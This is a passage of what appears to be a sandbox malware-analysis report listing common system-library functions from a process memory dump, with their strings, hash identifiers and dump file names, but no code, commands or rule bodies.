Instruction ID: a86c4d76688fa793d6b09179235682cea961058840357656cd43acc3a46adc50
Opcode Fuzzy Hash: 55901317f2dd30459d653bc0684e19e965d5f4530d9cbac0b37c47be6b45b6f7
Instruction Fuzzy Hash: 0E31B072509304EFC310CFA9C8C5A4BBBF8EB85694F40092EF9A593350DA34DD05DB92

Uniqueness

Uniqueness Score: -1.00%

Function 207634B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 207A2A90
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 207A2A95

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: aed398f180edf9b5dafe11393a350def6d31a83fcbc144fc91596759406b940c
Instruction ID: 9d8bb9c4dfce448bee16ac9c06f77d672c959c9bd6eb3d54c553631846d884bf
Opcode Fuzzy Hash: aed398f180edf9b5dafe11393a350def6d31a83fcbc144fc91596759406b940c
Instruction Fuzzy Hash: F0110071B01154FBE7158ACC8D81F6BB7B99BE4B54F24C069BE05DB284DA74CD00D790

Uniqueness

Uniqueness Score: -1.00%

Function 2076A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 2076A5E4
Threadpool!, xrefs: 2076A5E9

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: e86cc4692ca837b1367267e3762cd7e37348bdfae2624c1827698f51009d2309
Instruction ID: 5c46803a0f1838d0edcf3aebaa0efe4285414fb5486046c3244b0cee0c9cc1f1
Opcode Fuzzy Hash: e86cc4692ca837b1367267e3762cd7e37348bdfae2624c1827698f51009d2309
Instruction Fuzzy Hash: 8E01DCB2214A40EFD321CFA4CD49F1677E8EB54729F05C939BA59C71A0E338E849DB46

Uniqueness

Uniqueness Score: -1.00%

Function 20737370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95389174c99ae0ae706b25f81a3f0202c1d8b78d898b8646a3261654274f9cbe
Instruction ID: a4fede4dad68c7c13c8e474b3662019db91a59e1de23954376dc77d1d282ad3e
Opcode Fuzzy Hash: 95389174c99ae0ae706b25f81a3f0202c1d8b78d898b8646a3261654274f9cbe
Instruction Fuzzy Hash: 50A14871A08745CFD324CFA8D480A1ABBF5BF98314F20496DF58597352E734E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 207B6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 207B65C1

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f2049599ca1f43a1e1c291ed6b51674d0993a7503caa1a6963a5fb4083ea0f19
Instruction ID: 3640a0b54136956498d774999cf6cdd4f5be256bcc2d62dfee1fb6dcc757e366
Opcode Fuzzy Hash: f2049599ca1f43a1e1c291ed6b51674d0993a7503caa1a6963a5fb4083ea0f19
Instruction Fuzzy Hash: 4A913DB2A41219EFEB21DBD5CD85FAE7BB8EF18B50F104065F700AB191D674AD14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 207EB256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 207EB28F

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: ea96deb538ec44127656884794dcf9a8b9f1cd986add8f91a47243cb142a9a6b
Instruction ID: 7af76e58be8726f736a59a7b0a1818c324b1f2c0f971c4ee4f8c2cd400792dfa
Opcode Fuzzy Hash: ea96deb538ec44127656884794dcf9a8b9f1cd986add8f91a47243cb142a9a6b
Instruction Fuzzy Hash: 8F41B276D02219EBCB11DBEAC881BEFBBF9EF44750F110166E919AB254D634DE40C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 207D705E Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

kLsE, xrefs: 207D70A4

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: kLsE
API String ID: 0-3058123920
Opcode ID: 7de0ded10c11e95413dc2120c4c8d34d221fcf0cdb524947d853103abbde1f7f
Instruction ID: 7b8dab5fe3799783087509fb0d89518a5f8e5d4d2579f1899ebc42c31c498c38
Opcode Fuzzy Hash: 7de0ded10c11e95413dc2120c4c8d34d221fcf0cdb524947d853103abbde1f7f
Instruction Fuzzy Hash: 77415832505BC98FE3119BE0CC8AB673B90EB50B64F108219FD914B2E1DB790C93D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 20767505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 207A4622

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction ID: 6a23a82512e622548f125a0e83533e810a70ac6afb15acc6917e6cb5d7c282fa
Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction Fuzzy Hash: FA41BC75A00616EBCB11CFC8C490BBEB7B4EB85741F1041AAED42AB242DB34DD51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 20735096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 207350BF

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: e8f5729971df182420627fe6020731c9588b4231435c8cf315637279f67f372f
Instruction ID: e6551186caf9d52af48c08a32aaee19a740e672d4a60ec1e093b6c7284331332
Opcode Fuzzy Hash: e8f5729971df182420627fe6020731c9588b4231435c8cf315637279f67f372f
Instruction Fuzzy Hash: A611B23130960A8BFB184BAD9850B16B3D5EB81364F70813AE550CB393D677DC419381

Uniqueness

Uniqueness Score: -1.00%

Function 207B106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

LdrCreateEnclave, xrefs: 207B10F7

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: LdrCreateEnclave
API String ID: 0-3262589265
Opcode ID: f6f0d83b9e79d6e45b046daf4926091362c9965276b10941258a7d21f953d6c2
Instruction ID: a3f0fb9a725f7034cb4b07f94991842de5b2a5ea51594b80d346c74dcba63f91
Opcode Fuzzy Hash: f6f0d83b9e79d6e45b046daf4926091362c9965276b10941258a7d21f953d6c2
Instruction Fuzzy Hash: 772137B1508388DFC310CF9AD849A4BFBE8FBD5700F404A1EB59087250D7B09945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 2078739A Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76731847a820564b0ed4e489633ce6561e77e17c8a7c067bc05a3fb4d2cfc16
Instruction ID: fccc2929e2338bb0ec4aed5cf19fe8bd878d2ce6fc098ba502e02c8791fb7e74
Opcode Fuzzy Hash: f76731847a820564b0ed4e489633ce6561e77e17c8a7c067bc05a3fb4d2cfc16
Instruction Fuzzy Hash: B742A071A00616CFDB08CF99C890AAEF7B2FF88314B24856DE556AB351D734ED42DB90

Uniqueness

Uniqueness Score: -1.00%

Function 2075B2C0 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb7d788b57f740c8d6a65982bb853a5466bcde5499b8da0287fade2cdb4bc2e1
Instruction ID: 710ad8b039cca5046128bff16ffd5ad3c0e51b1797543e702b9abd3790cbcbd7
Opcode Fuzzy Hash: cb7d788b57f740c8d6a65982bb853a5466bcde5499b8da0287fade2cdb4bc2e1
Instruction Fuzzy Hash: C5328AB1E00259DBCB14CFA8D885BFEBBB1FF58714F144029E905AB391E7359915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 207C8158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d0f96b35d4670c0b0263e46fab60013432b34fb624c7a7c0b99f0d5d949af96
Instruction ID: 8e45d5712e1f30acdbef2ed85d05e10dd69adb466a42e690588c511e3bd3773b
Opcode Fuzzy Hash: 9d0f96b35d4670c0b0263e46fab60013432b34fb624c7a7c0b99f0d5d949af96
Instruction Fuzzy Hash: 7E424A75A10219DFDB64CFA9C881BADBBF5BF48310F148199E948EB242D734AD85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 207DA118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec95ce73a5daf33f376a7fa89514d47b2706cf393e13639e9f350373adc60f38
Instruction ID: 02c979a7974d9c89925cdbf2ddafbd173127d1027a57199796091d2a9cb49cc6
Opcode Fuzzy Hash: ec95ce73a5daf33f376a7fa89514d47b2706cf393e13639e9f350373adc60f38
Instruction Fuzzy Hash: 1122F172204691EFDB14CFA9C090772B7F1BF44340F54849AE9868F386E379E952DB60

Uniqueness

Uniqueness Score: -1.00%

Function 207365D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cdf995c48aa99ead837ef656e3d32f95d82826f43b614bb6b633f5c2b6b903
Instruction ID: eb594fa47769fc56c297faaebde545e791cd440f3e8f5e5bb79c59570fe6dc33
Opcode Fuzzy Hash: c6cdf995c48aa99ead837ef656e3d32f95d82826f43b614bb6b633f5c2b6b903
Instruction Fuzzy Hash: 5EE18B71608341CFD704CFA8C494A5ABBF0FF89318F558A6DE9998B352DB31E905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 20728397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442ac7bbfa9d0bcc76ffb834155621dade9a860ac599578bdafe0146124666df
Instruction ID: bdaec29933f891e15c9a7cdcd7ee68210dbb5109ecc8bee7f244711c6baaca6e
Opcode Fuzzy Hash: 442ac7bbfa9d0bcc76ffb834155621dade9a860ac599578bdafe0146124666df
Instruction Fuzzy Hash: A6D1DD71A01A06DFCB44CFE5D891FAA73B1FF54214F244229F921DBA81E735EA40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 207B8243 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction ID: d6f7cd424c52b73dbce156680cd6212251ce41c8e23c9b9527d28b76431014f5
Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction Fuzzy Hash: F1B16E75A00609AFDB54CFD9C945FEBB7B9FF84304F50446DAA42A7A90DA34ED06CB10

Uniqueness

Uniqueness Score: -1.00%

Function 2074F460 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 666e22ac2447826292a6fae75976d33dc35fffc1bbef4a3d7777c0614cfe9044
Instruction ID: 10361fb4e8b84092c5dcf5da2e524c08fbdee504d38e54304491e1ea18f14a4c
Opcode Fuzzy Hash: 666e22ac2447826292a6fae75976d33dc35fffc1bbef4a3d7777c0614cfe9044
Instruction Fuzzy Hash: 15C1E071E01261CFCB04CF98C494BBAB7B1FF44714F164199E9429B2A6EB388E61DB91

Uniqueness

Uniqueness Score: -1.00%

Function 20740535 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction ID: 4fb04bedf34d7aec9b11154c262cdf1887855b5cebf7e4941be818f53ce09dec
Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction Fuzzy Hash: 54B1F431A00649EFDB11CBE8C855FAEBBF6EF44300F2441A9E5559B281DB34EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 207590DB Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c794dc55f9746b7ebc63343707d599404ca28369f7d9284f5c251955ac5863c
Instruction ID: f08731d1118d0b740808aa1020684e97a01291d5718e0d223f5b92be93b2293c
Opcode Fuzzy Hash: 2c794dc55f9746b7ebc63343707d599404ca28369f7d9284f5c251955ac5863c
Instruction Fuzzy Hash: 08A14971900619AFEB12CFE4CC86FAE3BB9AF55790F014054FA14AB2A0D775AD11DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 207383C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54c9039419f434a8023719942166b5fd5a3faae7095a6ffd70aab3a2ebb8b2e
Instruction ID: c6e050c96bbc1725f0e34cdb9d672e9f4e360c1291995422119e627da2e86ff7
Opcode Fuzzy Hash: b54c9039419f434a8023719942166b5fd5a3faae7095a6ffd70aab3a2ebb8b2e
Instruction Fuzzy Hash: FCC14570208385CFE760CF55C495BAAB7E5BF88304F40496DE98987791E774EA18CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 2072C427 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba85ed23ccec9fa04e57bddf8cd3dbda7ec47bf902bb91ebfd2d5ba206f936bb
Instruction ID: f101479baf6fab1e5b3a2ba8a93b7cc49649be9e7705c644bbca868a2ff350ab
Opcode Fuzzy Hash: ba85ed23ccec9fa04e57bddf8cd3dbda7ec47bf902bb91ebfd2d5ba206f936bb
Instruction Fuzzy Hash: 52B17070A006658FDB64CFA5DC90BA9B3B1EF54700F1085EAD50AE7281EB74DE85DF21

Uniqueness

Uniqueness Score: -1.00%

Function 2075E5E7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e5dd7d7ca9f33d00f82de3fbc4610151fd70031360b7249892b494d934d5acc
Instruction ID: f592f6f9a560b0be372d4536bcba9adab0650680a79b0e513e0e7260e82e663b
Opcode Fuzzy Hash: 2e5dd7d7ca9f33d00f82de3fbc4610151fd70031360b7249892b494d934d5acc
Instruction Fuzzy Hash: A5A12171E0065CAFDB11CBE4D888FDEBBB4EB05794F118221EE10AB291D7789E45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 20770185 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9b322a7f5d91c29e55418cd85a187c3d2fd721feab22b9f426642312135a0f
Instruction ID: e2764524981619f7349b9ac7a6729dbc8b482d6328ff44e1a979b51c654c3440
Opcode Fuzzy Hash: eb9b322a7f5d91c29e55418cd85a187c3d2fd721feab22b9f426642312135a0f
Instruction Fuzzy Hash: 30A1DF71A00656DFDB14CFE5C991BAAB7F1FF44354F108129EB05972A2EB38E912CB90

Uniqueness

Uniqueness Score: -1.00%

Function 20804500 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6390bd64dec80b07e3f47bd7c8aedfdf84046de034e5cb1f97815c004045537b
Instruction ID: 3ec6a62777c3c3b4c2bd9ffc007dc01a36ec1a9ee309b2f1c05de85e51a27cbe
Opcode Fuzzy Hash: 6390bd64dec80b07e3f47bd7c8aedfdf84046de034e5cb1f97815c004045537b
Instruction Fuzzy Hash: 78A1A4B2A44651EFC711CFA8CD80B1AB7EAFF58344F008928F5899B661D334ED11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 207B60E0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e82cc54b86b9e8271b8f7c2b3d4d90ee4c8577bd29a1d0a938eb20debf2374
Instruction ID: f8c43cd4ae89455adc6c567817269312e48a20626c140d8ccfd44035e8dd74af
Opcode Fuzzy Hash: 22e82cc54b86b9e8271b8f7c2b3d4d90ee4c8577bd29a1d0a938eb20debf2374
Instruction Fuzzy Hash: 19916171D00229AFDB15CFE8D895BAEBBF5AF48710F114169EB11EB251D738DD009BA0

Uniqueness

Uniqueness Score: -1.00%

Function 2074E3F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

